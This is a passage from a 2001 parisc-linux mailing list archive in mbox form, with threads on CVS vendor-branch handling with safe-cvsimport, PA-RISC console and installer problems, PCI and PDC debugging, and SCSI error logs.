The way to cause REALLY BIG problems with vendor branches is to use them
for some upstream updates, but merge others by hand on to the trunk.  This
cuts the CVS design off at the knees!  We did this in our linux tree way
back and the number of problems is going down but isn't gone yet.

    safe-cvsimport posts all changes to the trunk/head immediately
    --------------------------------------------------------------


From - Thu Nov 08 21:18:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: nobody@nowhere.invalid (Unknown)
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Sat, 22 Nov 2014 01:38:05 +0000 (UTC)
Lines: 13
Approved: news@gmane.org
Message-ID: <48180.3620853045$1416620285@news.gmane.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620285 21946 80.91.229.3 (22 Nov 2014 01:38:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:05 +0000 (UTC)
Original-X-From: the source,
http: //puffin.external.hp.com/cvs/build-tools/safe-cvsimport:
Xref: news.gmane.org gmane.linux.ports.parisc:11567

    # safe-cvsimport assumes changes in newly-imported versions should *never*
    # be visible on the main trunk until explicitly placed there, usually by
    # a merge (cvs update -jx -jy).

Maybe someday I'll re-name it 'isolated-cvsimport'.  FYI in some cases
it's not handling upstream-removed files correctly.  No idea why this
changed or when I'll get interested enough to fix it.  For now I'll be
happy to consult and/or fix problems which result from safe-cvsimport.

	-P




From - Thu Nov 08 21:18:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Le Corre <matthieu.lecorre@polytech.univ-nantes.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti console problem
Date: Tue, 10 Jul 2001 17:28:34 +0200
Organization: Ecole Polytechnique de =?iso8859-1?q?l'Universit=E9=20de?= Nantes
Lines: 58
Approved: news@gmane.org
Message-ID: <0107101728340D.03565@flambe.ireste.fr>
References: <01070916084706.01035@flambe.ireste.fr> <01071016061106.03565@flambe.ireste.fr> <20010710154549.G23509@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620286 21949 80.91.229.3 (22 Nov 2014 01:38:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 09:22:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ireste.fr (mail.ireste.fr [193.52.81.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id A29CF482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 09:22:23 -0600 (MDT)
Original-Received: from flambe.ireste.fr (flambe [193.52.81.109])
          by mail.ireste.fr (8.9.1a/jtpda-5.3.1) with SMTP id RAA09863
          for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 17:24:30 +0200 (MET DST)
X-Mailer: KMail [version 1.2]
In-Reply-To: <20010710154549.G23509@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11568

Le Mardi 10 Juillet 2001 16:45, vous avez crit :
> On Tue, Jul 10, 2001 at 04:06:11PM +0200, Matthieu Le Corre wrote:
> > in fact i've installed the 0.9 iso from the serial console
> > first and second stage are correct !
> > it boot correctly , but,
> > at the end of booting process ,
> > in sti console i get an "unable to open initial" console...
> > and then a login appears in serial console !
> > in fact all boot message appears un sti console execpt the boot prompt !
> > I have check inittab and /dev/tty* files , they seems ok ! i don't
> > understand
>
> For 0.9 we had different ISOs for 32 bit STI console and 32 bit
> serial console.  It sounds as though you might have booted
> the STI ISO, but used a serial console.  You get the login prompt
> on the serial console, because that is where inittab starts a
> getty.  Sounds like kernel printk output is displayed on the STI
> console, sugests you are using the STI kernel.  Not sure about
> this though...  Check the kernel boot params; do you have
> console=tty0 or console=ttyS0?

i've install FROM serial iso BUT i've installed the sti kernel 
and i've paramater console=tty0 ;( 
i've made both serial and sti start from inittab ....
the sti console seem to work but the only think is i don't get login prompt
on sti.
but when i shutdown system message appears on sti console !

i've try 0.9.1 but it failed after "branching kernel" despite a good md5sum 
... 



> You can try the 0.9.1 CD from http://mkhppa1.esiee.fr which should
> auto-detect which console you used and route messages appropriately.
>
>
> Richard
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
_______________________________________

                      Matthieu Le Corre 
                    Service informatique
 Ecole Polytechnique de l'Universit de Nantes
     Matthieu.Lecorre@polytech.univ-nantes.fr
                        02.40.68.32.23
_______________________________________




From - Thu Nov 08 21:18:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS rumors
Date: Tue, 10 Jul 2001 17:25:02 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <20010710172502.A6103@parcelfarce.linux.theplanet.co.uk>
References: <E15Jz7i-00028D-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620286 21951 80.91.229.3 (22 Nov 2014 01:38:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 10:25:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 364B9482B
	for <parisc-linux@parisc-linux.org>; Tue, 10 Jul 2001 10:25:04 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15K0Jq-0004rj-00; Tue, 10 Jul 2001 17:25:02 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E15Jz7i-00028D-00@noam.fc.hp.com>; from bame@fc.hp.com on Tue, Jul 10, 2001 at 09:08:26AM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11569

On Tue, Jul 10, 2001 at 09:08:26AM -0600, Paul Bame wrote:
> This is a problem for us because we should be able to go back
> to an older linux tree with this command:
> 
> 	cvs up -D"some-date" -rHEAD

The manpage doesn't indicate this is a valid use; indeed the wording
in some cases indicates that -D and -r are exclusive!

> 	cvs up -D"some-date"
> 
> That grabs the files as of "some-date" from whatever arbitrary branch
> they happen to be on -- thus you get some mixture of all the branches!

Yes, I noticed that.  But we have a real problem now, and I don't know how
to solve it.  Lamont wanted to check out version -pa30 -- how can he do that?

> Vendor branches are a special use of normal branches, and
> *according to the CVS design* neither are "broken".  However the way
> they are managed, mostly with 'cvs import', causes horrid problems
> with certain use models. 

Right, they're broken by design :-)

> This problem is caused by 'cvs import' and has nothing to do with
> CVS branches per se.
> 
> The way to cause REALLY BIG problems with vendor branches is to use them
> for some upstream updates, but merge others by hand on to the trunk.  This
> cuts the CVS design off at the knees!  We did this in our linux tree way
> back and the number of problems is going down but isn't gone yet.

I don't understand why we're using vendor branches at all though.  When
mang was doing CVS God duties, he imported Linus' stuff on an ordinary
branch.  What is the advantage of using vendor branches over ordinary ones?

> For now I'll be
> happy to consult and/or fix problems which result from safe-cvsimport.

No offence, but every time we've done a new import, we've discovered new
and excitingly different problems which have taken some time to be fixed.
I'm extremely nervous about using it while you're gone.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS rumors
Date: Tue, 10 Jul 2001 11:28:13 -0600
Lines: 88
Approved: news@gmane.org
Message-ID: <E15K1Iz-0002RR-00@noam.fc.hp.com>
References: <E15Jz7i-00028D-00@noam.fc.hp.com>  <20010710172502.A6103@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620286 21955 80.91.229.3 (22 Nov 2014 01:38:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 11:28:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA431482B
	for <parisc-linux@parisc-linux.org>; Tue, 10 Jul 2001 11:28:18 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 57C751F587; Tue, 10 Jul 2001 13:27:48 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id LAA14178;
	Tue, 10 Jul 2001 11:28:13 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.22 #1 (Debian))
	id 15K1Iz-0002RR-00; Tue, 10 Jul 2001 11:28:13 -0600
In-Reply-To: Your message of "Tue, 10 Jul 2001 17:25:02 BST."
             <20010710172502.A6103@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11570

= > 	cvs up -D"some-date" -rHEAD
= 
= The manpage doesn't indicate this is a valid use; indeed the wording
= in some cases indicates that -D and -r are exclusive!

yeah go figure :-(  semantically though, a date-based checkout must
add a branch for disambiguation, and except in this (frequent for us)
case it works.

= > 	cvs up -D"some-date"
= > 
= > That grabs the files as of "some-date" from whatever arbitrary branch
= > they happen to be on -- thus you get some mixture of all the branches!
= 
= Yes, I noticed that.  But we have a real problem now, and I don't know how
= to solve it.  Lamont wanted to check out version -pa30 -- how can he do that?

CM best practices usually involve explicitly tagging any release one
hopes to reproduce in the future and we could start doing that (I recommend
it).  For now either we apply the aforementioned workaround so we can
do untagged date-based checkouts, or I can come up with a procedure for
grabbing a suitable set of bits.

= > This problem is caused by 'cvs import' and has nothing to do with
= > CVS branches per se.
= > 
= > The way to cause REALLY BIG problems with vendor branches is to use them
= > for some upstream updates, but merge others by hand on to the trunk.  This
= > cuts the CVS design off at the knees!  We did this in our linux tree way
= > back and the number of problems is going down but isn't gone yet.
= 
= I don't understand why we're using vendor branches at all though.  When
= mang was doing CVS God duties, he imported Linus' stuff on an ordinary
= branch.  What is the advantage of using vendor branches over ordinary ones?

Vendor branches are both a concept and an implementation.  The
implementation sucks but the concept -- keeping clean upstream releases
on a separate branch -- to me is a good one and is one of the things
CVS does quite well.

safe-cvsimport essentially doesn't use the vendor branch *implementation*
(aka, how 'cvs import' would do it) but it does use the vendor branch
*concept*.  So safe-cvsimport is attempting to automate what mang did
by hand.

As it happens, there were corner cases which 'cvs import'
actually handled correctly which doing the same thing by hand on a branch
handled incorrectly, and that's the main difference between maintaining
an upstream vendor branch "by hand", and using safe-cvsimport.  I'm
considering rewriting safe-cvsimport to avoid 'cvs import' and live
with the unlikely corner case.

= > For now I'll be
= > happy to consult and/or fix problems which result from safe-cvsimport.
= 
= No offence, but every time we've done a new import, we've discovered new
= and excitingly different problems which have taken some time to be fixed.

So every time you've been aware of an import it has been problematic.  Maybe
you forgot a linux import *and merge* which I managed in a few hours?
I think perhaps there was a very quick glibc update too.  Maybe
you are unaware of the many times more imports I've done in other places
which are usually 100% successful?

When there are problems they require the same sorts of skills and repairs
as would "by hand" imports on the branch, though
usually I take a bit longer because I want to understand and fix the
problem rather than merely fixing the symptom.  I suspect the time spent
fixing safe-cvsimport and archive confusions is not "extra", but merely
seems/looks different partly because of the expectation that safe-cvsimport
*should* do all the right stuff automatically in a few minutes, in contrast
to the expectation that doing things by hand on a branch is a considerably
longer and more arduous task.

= I'm extremely nervous about using it while you're gone.

In the linux tree I echo your concern and there's really no way to be
rid of the vestiges of upstream imports which came into the trunk unless
we reinitialize our archive.  That plus the current brokenness of not
removing files which were removed upstream makes me think that
unless I do future imports, they might better be done "by
hand" on the "linus" branch, which I call a vendor branch though it
is not a cvs-style-broken-vendor-branch any longer.

	-P




From - Thu Nov 08 21:18:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] install problems on the 735/99
Date: Tue, 10 Jul 2001 14:14:29 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <004901c1096c$290de920$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0046_01C1094A.A1E6C550"
X-Trace: ger.gmane.org 1416620287 21958 80.91.229.3 (22 Nov 2014 01:38:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:07 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 12:12:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ati6.ati.stlawrencec.on.ca (unknown [142.155.128.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id E001C482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 12:12:08 -0600 (MDT)
Original-Received: from XCETY01 ([142.155.128.15]) by ati6.ati.stlawrencec.on.ca with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 349YV7BH; Tue, 10 Jul 2001 14:12:07 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:11571

This is a multi-part message in MIME format.

------=_NextPart_000_0046_01C1094A.A1E6C550
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Well so far we've gotten the installer to boot using the serial console. =
The problem lies in installing the base system. It will download and =
extract the files needed then it hangs during installation. Anyone =
encounter this?=20

I'm currently downloading the 0.91 release. WIll this solve that =
problem?

------=_NextPart_000_0046_01C1094A.A1E6C550
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>Well so far we've gotten the installer =
to boot=20
using the serial console. The problem lies in installing the base =
system. It=20
will download and extract the files needed then it hangs during =
installation.=20
Anyone encounter this? </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>
<DIV>I'm currently downloading the 0.91 release. WIll this solve that=20
problem?</DIV></DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_0046_01C1094A.A1E6C550--





From - Thu Nov 08 21:18:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problem installing .9 iso image on C240
Date: Tue, 10 Jul 2001 23:36:25 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <200107110536.XAA31339@puffin.external.hp.com>
References: <rhirst@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620287 21962 80.91.229.3 (22 Nov 2014 01:38:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:07 +0000 (UTC)
Cc: Charles Boone <ccboone@yahoo.com>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 23:37:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B214482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 23:37:11 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA31339;
	Tue, 10 Jul 2001 23:36:25 -0600
In-Reply-To: Message from Richard Hirst <rhirst@linuxcare.com> 
   of "Tue, 10 Jul 2001 14:31:51 BST." <20010710143151.D23509@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11572

Richard Hirst wrote:
> IAOQ = _gsc_readl + 8
> called from dino_in32()
> I guess it was dino_in32(0xc1b21ec0), which looks odd.

It's definitely wrong. dino_in32() pokes dino to generate IO Port
transactions and Dino lives in 0xF... address range. This suggests the
pci_dev->sys_data is garbage (perhaps not initialized?) or points to garbage.
Perhaps for Dino's built-in PS/2 or RS232 port?

Sorry, I didn't follow this thread earlier. Does console output hint
which PCI device was involved (if any)?

> Don't know why it should fail like that in the middle of the
> install.  Is it repeatable?

If it's a problem with devices on-board Dino, I'd expect the problem to
be reproducible but with different symptoms depending on what's in pci_dev.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problem installing .9 iso image on C240
Date: Tue, 10 Jul 2001 23:45:15 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <200107110545.XAA31374@puffin.external.hp.com>
References: <ccboone@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620287 21964 80.91.229.3 (22 Nov 2014 01:38:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Charles Boone <ccboone@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 23:46:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id EAA35482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 23:46:00 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA31374;
	Tue, 10 Jul 2001 23:45:15 -0600
In-Reply-To: Message from Charles Boone <ccboone@yahoo.com> 
   of "Tue, 10 Jul 2001 07:23:53 PDT." <20010710142353.5757.qmail@web11207.mail.yahoo.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11573

Charles Boone wrote:
...
> I do have one question, why
> would it not try to install the 64bit version? I was
> pretty sure that a C240 is a 64bit system.

PDC on the C240 (and similar C-models of that generation) only
support PDC calls in "narrow" (ie 32-bit) mode. Sounds like the decision
to install 32 vs 64-bit depends on the PDC capabilities bit.
Can anyone offhand confirm/deny?

BTW, though the C240 has a PA2.0 CPU (ergo 64-bit capable), I'm not sure
rbrad has been able to resolve all the issues when trying to run 64-bit
kernels on his C200. He did resolve many of them - including support
for 32-bit PDC calls from 64-bit kernels.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.1 installation failed with and ext2-fs error
Date: Wed, 11 Jul 2001 02:06:46 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <3B4BECF6.2F58760A@neuronet.pitt.edu>
References: <3B4495BC.C3E7A04D@neuronet.pitt.edu> <20010706125701.W23509@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620287 21968 80.91.229.3 (22 Nov 2014 01:38:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 00:06:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp5ve.mailsrvcs.net (smtp5vepub.gte.net [206.46.170.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3211B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 00:06:49 -0600 (MDT)
Original-Received: from neuronet.pitt.edu (client-151-201-23-51.pittpa.adsl.bellatlantic.net [151.201.23.51])
	by smtp5ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id GAA26200421
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 06:06:47 GMT
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6-4GB i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11574

Richard Hirst wrote:
> 
> On Thu, Jul 05, 2001 at 12:28:44PM -0400, Rafael Herrera wrote:
> > While installing the latest 0.9.1 on a 715/75 machine over a serial
> > line, the installation halted with this error message:
> >
> >  Extracting
> >  /var/cache/apt/archives/tar_1.13.19-1_hppa.deb...          EXT2-fs
> > error (device sd(8,3)): ext2_write_inode: unable t9
> >
> > it looks truncated. I can't provide more error messages. Are there other
> > virtual consoles under the installed? if so, how do you switch to them?
> > I'm using minicom on an X terminal.
> 
> Try again, and when you get to the point of installing base, scroll
> down the menu to 'execute a shell'.  Then mount the CD, something
> like
> 
> mkdir /tmp/cd
> mount /dev/scd0 /tmp/cd
> 
> (may already be mounted under /instmnt, do 'mount' to check)
> 
> Then run debootstrap manually:
> 
> debootstrap sid /target file:/tmp/cd

This one completed without errors, I continued the installation and
booted from the newly installed disk. Unfortunately, the file /etc/fstab
was not created and the boot failed and apparently tha machine was
halted, because the minicom indicator showed 'offline'.

In any case, I got the new palinux-0.9.2.iso image. This one booted and
I proceeded to install. I got other errors, which I'll post next.

Rafael




From - Thu Nov 08 21:18:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palinux-0.9.2.iso installs on 715/75, crash fallows.
Date: Wed, 11 Jul 2001 02:22:17 -0400
Lines: 68
Approved: news@gmane.org
Message-ID: <3B4BF099.704C7B92@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620288 21971 80.91.229.3 (22 Nov 2014 01:38:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:08 +0000 (UTC)
To: PL <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 00:22:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp4ve.mailsrvcs.net (smtp4vepub.gte.net [206.46.170.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CC27482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 00:22:19 -0600 (MDT)
Original-Received: from neuronet.pitt.edu (client-151-201-23-51.pittpa.adsl.bellatlantic.net [151.201.23.51])
	by smtp4ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id GAA52868072
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 06:22:17 GMT
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6-4GB i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11575

After successfully installing the base system and booting 
from disk the system started to generate these messages 
intermittently:

ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16

After the first boot, the program 'base-config' was started, 
after answering a few questions, the program 'tasksel' was 
executed. My selections resulted in downloads of about 100 
packages (getting the messages above once i a while). Towards 
the end I got an scsi error:

scsi0: Serious error, sstat0 = 04
scsi0: Chip register contents:
 (script[0] at virt 10050000, bus 50000)
 00  sien:  af  sdid:  40  scntl1:20  scntl0:d4
 04  socl:  06  sodl:  67  sxfer: 00  scid:  80
 08  sbcl:  00  sbdl:  00  sidl:  00  sfbr:  00
 0C  sstat2:0e  sstat1:20  sstat0:00  dstat: 00
 10
 14  ctest3:df  ctest2:31  ctest1:03  ctest0:00
 18  ctest7:00  ctest6:28  ctest5:00  ctest4:00
 1C  temp:  00000000
 20              ctest8:ff  istat: 06  dfifo: 04
 24  dbc:   0e000006  dnad:  00056cde  dsp:   00056038
 30  dsps:  00056cde
 34  dmode: 80
 38  dcntl: 80  dwt:   00  dien:  1d
 3C
scsi0: Unexpected stacked interrupt, istat 06, sstat0 08, dstat 00
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00056038 (script[0x180e]), dsps = 00056cde, target = 0
scsi0: Failing command for ID6
scsi0: Unable to send Bus Device Reset for target 6
scsi0: Unable to do SCSI bus reset
sscsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
SCSI disk error : host 0 channel 0 id 6 lun 0 return code = 2
 I/O error: dev 08:03, sector 1456912
 I/O error: dev 08:03, sector 1456920
 I/O error: dev 08:03, sector 1457160
 I/O error: dev 08:03, sector 1457408
 I/O error: dev 08:03, sector 1457656
 I/O error: dev 08:03, sector 1457904
 I/O error: dev 08:03, sector 1458152
 I/O error: dev 08:03, sector 1458400
 I/O error: dev 08:03, sector 1458648
 I/O error: dev 08:03, sector 1458896
 I/O error: dev 08:03, sector 1459144

At this point the machine crashed, I saved the ouput of sysrq tm and p, if 
anyone is interested.

--
     Rafael




From - Thu Nov 08 21:18:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Le Corre <matthieu.lecorre@polytech.univ-nantes.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] install problems on the 735/99
Date: Wed, 11 Jul 2001 08:41:52 +0200
Organization: Ecole Polytechnique de =?iso8859-1?q?l'Universit=E9=20de?= Nantes
Lines: 31
Approved: news@gmane.org
Message-ID: <0107110841520I.03565@flambe.ireste.fr>
References: <004901c1096c$290de920$0f809b8e@ati.stlawrencec.on.ca>
